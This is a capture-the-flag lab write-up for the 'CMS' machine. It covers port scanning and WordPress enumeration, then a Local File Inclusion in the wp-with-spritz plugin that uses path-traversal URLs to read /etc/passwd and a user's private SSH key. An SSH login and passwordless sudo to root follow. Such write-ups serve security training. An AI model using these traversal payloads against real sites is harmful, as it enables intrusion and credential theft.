> For the complete documentation index, see [llms.txt](https://psdon.gitbook.io/hackworld/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://psdon.gitbook.io/hackworld/writeup/cyberseclab/cms.md). # CMS ## nmap ``` mkdir nmap sudo rustscan -a 172.31.1.8 --ulimit 5000 -- -T4 -A -oA nmap/all-ports-service-scan ``` A web service is available on port 80

## Web enumeration Looks like the website is running on WordPress

Run `wpscan` and after a few seconds, looks like it is vulnerable to Local File Inclusion ``` wpscan --url --api-token | tee wpscan-root ```

## Exploitation We can use LFI to grab `/etc/passwd` ``` http://172.31.1.8/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd ```

Then grab the Private SSH Key of user `angel` ``` http://172.31.1.8/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//home/angel/.ssh/id_rsa ```

## Exploitation Log in via SSH using the `id_rsa` file we found. ``` chmod 600 angel_id_rsa ssh -i ./angel_id_rsa angel@172.31.1.8 ``` ## Privilege Escalation We can run any `sudo` command without a password. Just run `sudo su` to log in as root.